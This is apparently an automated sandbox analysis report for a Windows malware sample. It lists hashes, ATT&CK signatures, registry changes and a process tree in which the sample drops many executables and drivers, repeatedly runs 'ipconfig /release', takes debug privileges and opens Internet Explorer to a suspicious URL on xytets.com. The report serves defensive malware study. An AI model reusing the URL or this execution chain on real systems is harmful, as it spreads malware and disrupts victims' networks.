795c7a99b1bd11b573501e18dfdc987e1335e633342113de8c7521ff198acb4c

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/05/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe
Size 243KB
Sample260516-ppaxpagy4j
SHA256 795c7a99b1bd11b573501e18dfdc987e1335e633342113de8c7521ff198acb4c
MD5 5fa4437b06c85fdff01f65d88b2239eb
SHA1 d223cf0b6cae658792d04ff46bff3ff8aabda17f
SHA512 6ddef488e1d9a9ae11a90dc89b1d03e8c7cd91d22a8565fa1da64a37f82aa9bdae80d49579e154b21c1fb62d1caa5d2266bdabb2efe57f7d76dbdfda98cb0bfd
SSDEEP 3072:+CvMsLLOJhH7yBa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7g:xvMsLaOa3lLNngoqRttA7g
TLSH
T192345A017281C031E7160B78045AE7A1467EBC384BA5E5CFF7A83B796A712D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
540	CP.exe
1304	ezwrpjhczu.exe
2416	CP.exe
2768	CP.exe
5112	i_ezwrpjhczu.exe
2164	bwuomgezwr.sys
4228	CP.exe
2944	rmgeywrojh.exe
3980	CP.exe
3172	CP.exe
4292	i_rmgeywrojh.exe
4880	igbitrljdb.sys
4700	CP.exe
3852	bwqoigbytr.exe
4408	CP.exe
4272	CP.exe
3872	i_bwqoigbytr.exe
4044	gbytrljdbv.sys
4200	CP.exe
2444	nigaysqlid.exe
1492	CP.exe
2060	CP.exe
4608	i_nigaysqlid.exe
4840	ytqlidbvtn.sys
408	CP.exe
4720	nigaysqkid.exe
1220	CP.exe
2732	CP.exe
2744	i_nigaysqkid.exe
3748	kfdxvpnifa.sys
2056	CP.exe
2120	axsqkicavp.exe
3880	CP.exe
4580	CP.exe
3804	i_axsqkicavp.exe
4132	ausnkfdxvp.sys
4220	CP.exe
5008	pkicausmkf.exe
652	CP.exe
776	CP.exe
872	i_pkicausmkf.exe
4972	smkecxupnh.sys
4424	CP.exe
588	cxupnhfzxs.exe
60	CP.exe
4584	CP.exe
2884	i_cxupnhfzxs.exe
1788	cwupmhfzxr.sys
4308	CP.exe
1128	rmkecwuomh.exe
396	CP.exe
1796	CP.exe
1072	i_rmkecwuomh.exe
8	ojhbztrmje.sys
1856	CP.exe
2000	eywrojhbzt.exe
3652	CP.exe
2560	CP.exe
512	i_eywrojhbzt.exe
1656	eywrojgbzt.sys
1748	CP.exe
2480	tolgeywqoj.exe
4132	CP.exe
4948	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkicausmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhcausmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigaytqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdyvqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwqoigbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwqoigbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nigaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axsqkicavp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwuomgeywr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ezwrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axsqkicavp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhcausmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbzurmkez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbytrljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nigaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmkecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywrojhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigaytqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbzurmkez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmkecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywrojhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdyvqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwuomgeywr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezwrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmgeywrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmgeywrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkicausmkf.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3124	ipconfig.exe
3192	ipconfig.exe
1196	ipconfig.exe
4884	ipconfig.exe
3776	ipconfig.exe
5104	ipconfig.exe
2784	ipconfig.exe
5088	ipconfig.exe
4704	ipconfig.exe
2452	ipconfig.exe
4148	ipconfig.exe
376	ipconfig.exe
4800	ipconfig.exe
5004	ipconfig.exe
4172	ipconfig.exe
468	ipconfig.exe
2948	ipconfig.exe
4348	ipconfig.exe
4048	ipconfig.exe
2688	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 25 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "486067892"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000908e179ee9d21446978e85b516b39ee8000000000200000000001066000000010000200000009c49be3ad3b08bd733e3dd84e403a3be4f59dbe3efa7c646c89777aee8fd2e12000000000e800000000200002000000067872e178d0aa6207948e86f6a26e4a3f7115e08adcb658fca499078ae4e851620000000a5d59e0e1e5e4d7dc553554eebd0d6a6878e3671a0339eb44eaaad6c27c1f601400000009931e9f4a99f8b5f55b2765a979a29d07a8aca619c6bc8743c9a4667403268f2b3c1795b8d1d4e18d039d16f03d7629ff76303412e477798c6231e302f857030	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{82D8A4E0-547C-11F1-9F3C-761C4632812C} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0c406ba91e8dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000908e179ee9d21446978e85b516b39ee800000000020000000000106600000001000020000000691180e858ae110f1f80788aa94d17f5b5399c37b6aea180fb2efba4994e3768000000000e80000000020000200000006933bc3bc092bfd228a13263c3bdbd9b3e84028586786ba2011303b59b2356ad200000009dc752883e90f1064f4de5ce8067c31147588a0049d2699bd4fb594e305b699b40000000b50d6607717dc059af39e5cbaf44c22a11fefd99d3acc9b4d653c079f6bb840a49a4763345b72e652ddcb63ed6079915990a797f508685a9fd9b168191780e13	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f098ffb991e8dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	5112	i_ezwrpjhczu.exe
Token: SeDebugPrivilege	4292	i_rmgeywrojh.exe
Token: SeDebugPrivilege	3872	i_bwqoigbytr.exe
Token: SeDebugPrivilege	4608	i_nigaysqlid.exe
Token: SeDebugPrivilege	2744	i_nigaysqkid.exe
Token: SeDebugPrivilege	3804	i_axsqkicavp.exe
Token: SeDebugPrivilege	872	i_pkicausmkf.exe
Token: SeDebugPrivilege	2884	i_cxupnhfzxs.exe
Token: SeDebugPrivilege	1072	i_rmkecwuomh.exe
Token: SeDebugPrivilege	512	i_eywrojhbzt.exe
Token: SeDebugPrivilege	4836	i_tolgeywqoj.exe
Token: SeDebugPrivilege	4552	i_oigaytqlid.exe
Token: SeDebugPrivilege	2284	i_nlfdyvqoig.exe
Token: SeDebugPrivilege	2256	i_igaysqkida.exe
Token: SeDebugPrivilege	5092	i_ausnkfdxvp.exe
Token: SeDebugPrivilege	3044	i_pkhcausmkf.exe
Token: SeDebugPrivilege	1608	i_pmhfzxrpjh.exe
Token: SeDebugPrivilege	2612	i_jhbzurmkez.exe
Token: SeDebugPrivilege	1868	i_bwuomgeywr.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
988	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
988	iexplore.exe
988	iexplore.exe
2984	IEXPLORE.EXE
2984	IEXPLORE.EXE
2984	IEXPLORE.EXE
2984	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 988	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	87
PID 988 wrote to memory of 2984	988	iexplore.exe	88
PID 4748 wrote to memory of 540	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	90
PID 1304 wrote to memory of 2416	1304	ezwrpjhczu.exe	93
PID 4748 wrote to memory of 2768	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	96
PID 4748 wrote to memory of 4228	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	100
PID 2944 wrote to memory of 3980	2944	rmgeywrojh.exe	102
PID 4748 wrote to memory of 3172	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	107
PID 4748 wrote to memory of 4700	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	113
PID 3852 wrote to memory of 4408	3852	bwqoigbytr.exe	115
PID 4748 wrote to memory of 4272	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	118
PID 4748 wrote to memory of 4200	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	122
PID 2444 wrote to memory of 1492	2444	nigaysqlid.exe	124
PID 4748 wrote to memory of 2060	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	127
PID 4748 wrote to memory of 408	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	134
PID 4720 wrote to memory of 1220	4720	nigaysqkid.exe	136
PID 4748 wrote to memory of 2732	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	139
PID 4748 wrote to memory of 2056	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	143
PID 2120 wrote to memory of 3880	2120	axsqkicavp.exe	145
PID 4748 wrote to memory of 4580	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	148
PID 4748 wrote to memory of 4220	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	153
PID 5008 wrote to memory of 652	5008	pkicausmkf.exe	155
PID 4748 wrote to memory of 776	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	158
PID 4748 wrote to memory of 4424	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	162
PID 588 wrote to memory of 60	588	cxupnhfzxs.exe	164
PID 4748 wrote to memory of 4584	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	167
PID 4748 wrote to memory of 4308	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	171
PID 1128 wrote to memory of 396	1128	rmkecwuomh.exe	173
PID 4748 wrote to memory of 1796	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	176
PID 4748 wrote to memory of 1856	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	181
PID 2000 wrote to memory of 3652	2000	eywrojhbzt.exe	183
PID 4748 wrote to memory of 2560	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	186
PID 4748 wrote to memory of 1748	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	190
PID 2480 wrote to memory of 4132	2480	tolgeywqoj.exe	192
PID 4748 wrote to memory of 4948	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	195
PID 4748 wrote to memory of 636	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	199
PID 3152 wrote to memory of 3944	3152	oigaytqlid.exe	201
PID 4748 wrote to memory of 3420	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	204
PID 4748 wrote to memory of 1864	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	208
PID 2596 wrote to memory of 2884	2596	nlfdyvqoig.exe	210
PID 4748 wrote to memory of 1500	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	213
PID 4748 wrote to memory of 4796	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	217
PID 4400 wrote to memory of 3508	4400	igaysqkida.exe	219
PID 4748 wrote to memory of 3832	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	222
PID 4748 wrote to memory of 512	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	226
PID 2224 wrote to memory of 2412	2224	ausnkfdxvp.exe	228
PID 4748 wrote to memory of 1160	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	231
PID 4748 wrote to memory of 4684	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	235
PID 4836 wrote to memory of 176	4836	pkhcausmkf.exe	237
PID 4748 wrote to memory of 4772	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	240
PID 4748 wrote to memory of 848	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	244
PID 4944 wrote to memory of 1624	4944	pmhfzxrpjh.exe	246
PID 4748 wrote to memory of 3840	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	249
PID 4748 wrote to memory of 1196	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	253
PID 4592 wrote to memory of 4864	4592	jhbzurmkez.exe	255
PID 4748 wrote to memory of 4528	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	258
PID 4748 wrote to memory of 2836	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	262
PID 3028 wrote to memory of 4256	3028	bwuomgeywr.exe	264
PID 4748 wrote to memory of 1072	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	267
PID 4748 wrote to memory of 812	4748	2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe	271
PID 2972 wrote to memory of 4292	2972	gbytrljdbv.exe	273

C:\Users\Admin\AppData\Local\Temp\2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-16_5fa4437b06c85fdff01f65d88b2239eb_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2984
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ezwrpjhczu.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:540
- - C:\Temp\ezwrpjhczu.exe
    C:\Temp\ezwrpjhczu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2416
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5104
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ezwrpjhczu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2768
- - C:\Temp\i_ezwrpjhczu.exe
    C:\Temp\i_ezwrpjhczu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5112
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmgeywrojh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4228
- - C:\Temp\rmgeywrojh.exe
    C:\Temp\rmgeywrojh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2944
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3980
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3124
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmgeywrojh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3172
- - C:\Temp\i_rmgeywrojh.exe
    C:\Temp\i_rmgeywrojh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4292
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bwqoigbytr.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4700
- - C:\Temp\bwqoigbytr.exe
    C:\Temp\bwqoigbytr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4408
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4348
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bwqoigbytr.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4272
- - C:\Temp\i_bwqoigbytr.exe
    C:\Temp\i_bwqoigbytr.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3872
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nigaysqlid.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4200
- - C:\Temp\nigaysqlid.exe
    C:\Temp\nigaysqlid.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1492
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3192
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nigaysqlid.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2060
- - C:\Temp\i_nigaysqlid.exe
    C:\Temp\i_nigaysqlid.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4608
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nigaysqkid.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:408
- - C:\Temp\nigaysqkid.exe
    C:\Temp\nigaysqkid.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1220
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2784
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nigaysqkid.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2732
- - C:\Temp\i_nigaysqkid.exe
    C:\Temp\i_nigaysqkid.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\axsqkicavp.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2056
- - C:\Temp\axsqkicavp.exe
    C:\Temp\axsqkicavp.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2120
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3880
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5004
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_axsqkicavp.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4580
- - C:\Temp\i_axsqkicavp.exe
